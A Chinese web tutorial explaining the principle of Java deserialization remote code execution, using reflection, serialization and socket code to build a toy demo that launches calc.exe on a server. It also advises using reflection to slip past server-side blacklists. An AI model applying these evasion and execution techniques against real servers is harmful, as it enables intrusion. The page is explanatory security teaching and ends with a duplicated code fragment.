java反序列化引发的远程代码执行漏洞原理分析
发布时间 - 2019-11-30 00:00:00 点击率:次主要有3个部分组成:
1、Java的反省机制
2、Java的序列化处理
3、Java的远程代码执行
Java的反射与代码执行
我们先看个简单的例子,使用Java调用计算器程序:
import java.io.IOException;
import java.lang.Runtime;
public class Test {
public static void main(String[] args) {
Runtime env = Runtime.getRuntime();
String cmd = "calc.exe";
try {
env.exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}我们从java.lang包中导入Runtime类,之后调用其getRuntime方法得到1个Runtime对象,该对象可以用于JVM虚拟机运行状态的处理。接着我们调用其exec方法,传入1个字符串作为参数。
此时,将启动本地计算机上的计算器程序。
下面我们通过Java的反省机制对上述的代码进行重写。通过Java的反省机制可以动态的调用代码,而逃过一些服务端黑名单的处理:
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) {
try {
Class> cls = Class.forName("java.lang.Runtime");
String cmd = "calc.exe";
try {
Method getRuntime = cls.getMethod("getRuntime", new Class[] {});
Object runtime = getRuntime.invoke(null);
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, cmd);
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (SecurityException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IllegalArgumentException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
} catch (ClassNotFoundException e1) {
e1.printStackTrace();
}
}
}上述代码看起来很繁琐,实际上并不是很难。首先,通过Class.forName传入1个字符串作为参数,其返回1个Class的实例。而其作用是根据对应的名称找到对应的类。
接着我们使用Class实例的getMethod方法获取对应类的getRuntime方法,由于该类没有参数,因此可以将其设置为null或使用匿名类来处理。
Method getRuntime = cls.getMethod("getRuntime", new Class[] {});之后通过得到的方法的实例的invoke方法调用对应的类方法,由于没有参数则传入null即可。同理,我们再获取到exec方法。
Java序列化处理
对于Java中的序列化处理,对应的类需要实现Serializable接口,例如:
import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Reader implements Serializable {
private static final long serialVersionUID = 10L;
private void readObject(ObjectInputStream stream) {
System.out.println("foo...bar...");
} public static byte[] serialize(Object obj) { //序列化对象
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream output = null;
try {
output = new ObjectOutputStream(out);
output.writeObject(obj);
output.flush();
output.close();
} catch (IOException e) {
e.printStackTrace();
} return out.toByteArray();
} public static Object deserialize(byte[] bytes) { //反序列化处理
ByteArrayInputStream in = new ByteArrayInputStream(bytes);
ObjectInputStream input;
Object obj = null;
try {
input = new ObjectInputStream(in);
obj = input.readObject();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} return obj;
}
public static void main(String[] args) {
byte[] data = serialize(new Reader()); //对类自身进行序列化
Object response = deserialize(data);
System.out.println(response);
}
}在这里我们重写了该类的readObject方法,用于读取对象用于测试。其中比较重要的2个函数是serialize和deserialize,分别用于序列化和反序列化处理。
其中,serialize方法需要传入1个对象作为参数,其输出结果为1个字节数组。在该类中,其中的对象输出流ObjectOutputStream主要用于ByteArrayOutputStream进行包装,之后使用其writeObject方法将对象写入进去,最后我们通过ByteArrayOutputStream实例的toByteArray方法得到字节数组。
而在deserialize方法中,需要传入1个字节数组,而返回值为1个Object对象。与之前的序列化serialize函数类似,此时我们使用ByteArrayInputStream接收字节数组,之后使用ObjectInputStream对ByteArrayInputStream进行包装,接着调用其readObject方法得到1个Object对象,并将其返回。
当我们运行该类时,将得到如下的结果:
Java远程通信与传输
为了实现Java代码的远程传输及远程代码执行,我们可以借助RMI、RPC等方式。而在这里我们使用Socket进行服务端及客户端处理。
首先是服务器端,监听本地的8888端口,其代码为:
import java.net.Socket;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
public class Server {
public static void main(String[] args) throws ClassNotFoundException {
int port = 8888;
try {
ServerSocket server = new ServerSocket(port);
System.out.println("Server is waiting for connect");
Socket socket = server.accept();
InputStream input = socket.getInputStream();
byte[] bytes = new byte[1024];
int length = 0;
while((length=input.read(bytes))!=-1) {
String out = new String(bytes, 0, length, "UTF-8");
System.out.println(out);
}
input.close();
socket.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}我们通过传入1个端口来实例化ServerSocket类,此时得到1个服务器的socket,之后调用其accept方法接收客户端的请求。此时,得到了1个socket对象,而通过socket对象的getInputStream方法获取输入流,并指定1个长度为1024的字节数组。
接着调用socket的read方法读取那么指定长度的字节序列,之后通过String构造器将字节数组转换为字符串并输出。这样我们就得到了客户端传输的内容。
而对于客户端器,其代码类似如下:
import java.io.IOException;
import java.net.Socket;
import java.io.OutputStream;
public class Client {
public static void main(String[] args) {
String host = "192.168.1.108";
int port = 8888;
try {
Socket socket = new Socket(host, port);
OutputStream output = socket.getOutputStream();
String message = "Hello,Java Socket Server";
output.write(message.getBytes("UTF-8"));
output.close();
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}在客户端,我们通过Socket对象传递要连接的IP地址和端口,之后通过socket对象的getOutputStream方法获取到输出流,用于往服务器端发送输出。由于这里只是演示,使用的是本地的主机IP。而在实际应用中,如果我们知道某个外网主机的IP及开放的端口,如果当前主机存在对应的漏洞,也是可以利用类似的方式来实现的。
这里我们设置要传输的内容为UTF-8编码的字符串,俄日在输出流的write方法中通过字符串的getBytes指定其编码,从而将其转换为对应的字节数组进行发送。
正常情况下,我们运行服务器后再运行客户端,在服务器端可以得到如下输出:
Server is waiting for connect Hello,Java Socket Server
Java反序列化与远程代码执行
下面我们通过Java反序列化的问题来实现远程代码执行,为了实现远程代码执行,我们首先在Reader类中添加1个malicious方法,其代码为:
public Object malicious() throws IOException {
Runtime.getRuntime().exec("calc.exe");
System.out.println("Hacked the Server...");
return this;
}在该方法中我们使用之前的介绍调用宿主机器上的计算器程序,然后输出1个相关信息,最后返回当前类。
之后是对服务器端的代码进行如下的修改:
while((length=input.read(bytes))!=-1) {
Reader obj = (Reader) Reader.deserialize(bytes);
obj.malicious();
}我们在接收到客户端对应的字符串后对其进行反序列处理,之后调用某个指定的函数,从而实现远程代码的执行。而在客户端,我们需要对其进行序列化处理:
Reader reader = new Reader(); byte[] bytes = Reader.serialize(reader); String message = new String(bytes); output.write(message.getBytes());
下面我们在宿主机器上运行服务器端程序,之后在本地机器上运行客户端程序,当客户端程序执行时,可以看到类似如下的结果:
可以看到,我们成功的在宿主机器上执行了对应的命令执行。
总结
为了实现通过Java的反序列问题来实现远程代码执行的漏洞,我们需要编写1个有恶意代码注入的序列化类。之后在客户端将恶意代码序列化后发送给服务器端,而服务器端需要调用我们期望的方法,从而触发远程代码执行。
为了避免服务器端进行一些安全处理,我们可以采用反射的方式来逃逸其处理。
这里只是1个简化的过程,更加实用的过程可以参考Apache Common Collections的问题导致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501。
推荐相关文章教程:web安全教程
# java
# 序列化
# 客户端
# 而在
# 微软
# 来实现
# 将其
# 我们可以
# 对其
# 可以看到
# 机器上
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
购物网站制作费用多少,开办网上购物网站,需要办理哪些手续?
Laravel怎么配置S3云存储驱动_Laravel集成阿里云OSS或AWS S3存储桶【教程】
在线教育网站制作平台,山西立德教育官网?
Laravel storage目录权限问题_Laravel文件写入权限设置
Windows10怎样连接蓝牙设备_Windows10蓝牙连接步骤【教程】
电视网站制作tvbox接口,云海电视怎样自定义添加电视源?
Laravel如何实现API速率限制?(Rate Limiting教程)
智能起名网站制作软件有哪些,制作logo的软件?
海南网站制作公司有哪些,海口网是哪家的?
手机钓鱼网站怎么制作视频,怎样拦截钓鱼网站。怎么办?
使用PHP下载CSS文件中的所有图片【几行代码即可实现】
Laravel如何实现事件和监听器?(Event & Listener实战)
Android仿QQ列表左滑删除操作
Laravel如何实现用户注册和登录?(Auth脚手架指南)
Laravel如何保护应用免受CSRF攻击?(原理和示例)
如何在Windows服务器上快速搭建网站?
phpredis提高消息队列的实时性方法(推荐)
Laravel如何使用Service Provider注册服务_Laravel服务提供者配置与加载
php中::能调用final静态方法吗_final修饰静态方法调用规则【解答】
怎么用AI帮你设计一套个性化的手机App图标?
如何在香港免费服务器上快速搭建网站?
微信小程序 wx.uploadFile无法上传解决办法
Linux安全能力提升路径_长期防护思维说明【指导】
黑客如何利用漏洞与弱口令入侵网站服务器?
jquery插件bootstrapValidator表单验证详解
PHP怎么接收前端传的文件路径_处理文件路径参数接收方法【汇总】
Firefox Developer Edition开发者版本入口
大学网站设计制作软件有哪些,如何将网站制作成自己app?
Edge浏览器提示“由你的组织管理”怎么解决_去除浏览器托管提示【修复】
javascript事件捕获机制【深入分析IE和DOM中的事件模型】
邀请函制作网站有哪些,有没有做年会邀请函的网站啊?在线制作,模板很多的那种?
微信小程序 scroll-view组件实现列表页实例代码
Laravel Pest测试框架怎么用_从PHPUnit转向Pest的Laravel测试教程
如何挑选高效建站主机与优质域名?
如何正确下载安装西数主机建站助手?
如何快速搭建个人网站并优化SEO?
Laravel模型事件有哪些_Laravel Model Event生命周期详解
php json中文编码为null的解决办法
轻松掌握MySQL函数中的last_insert_id()
如何选择可靠的免备案建站服务器?
学生网站制作软件,一个12岁的学生写小说,应该去什么样的网站?
绝密ChatGPT指令:手把手教你生成HR无法拒绝的求职信
如何快速生成橙子建站落地页链接?
如何用wdcp快速搭建高效网站?
打开php文件提示内存不足_怎么调整php内存限制【解决方案】
Laravel怎么创建控制器Controller_Laravel路由绑定与控制器逻辑编写【指南】
Laravel如何操作JSON类型的数据库字段?(Eloquent示例)
nodejs redis 发布订阅机制封装实现方法及实例代码
Laravel怎么使用Session存储数据_Laravel会话管理与自定义驱动配置【详解】
Laravel中DTO是什么概念_在Laravel项目中使用数据传输对象(DTO)
下一篇:番茄小说怎么设置评论气泡
下一篇:番茄小说怎么设置评论气泡


Socket socket = server.accept();
InputStream input = socket.getInputStream();
byte[] bytes = new byte[1024];
int length = 0;
while((length=input.read(bytes))!=-1) {
String out = new String(bytes, 0, length, "UTF-8");
System.out.println(out);
}
input.close();
socket.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}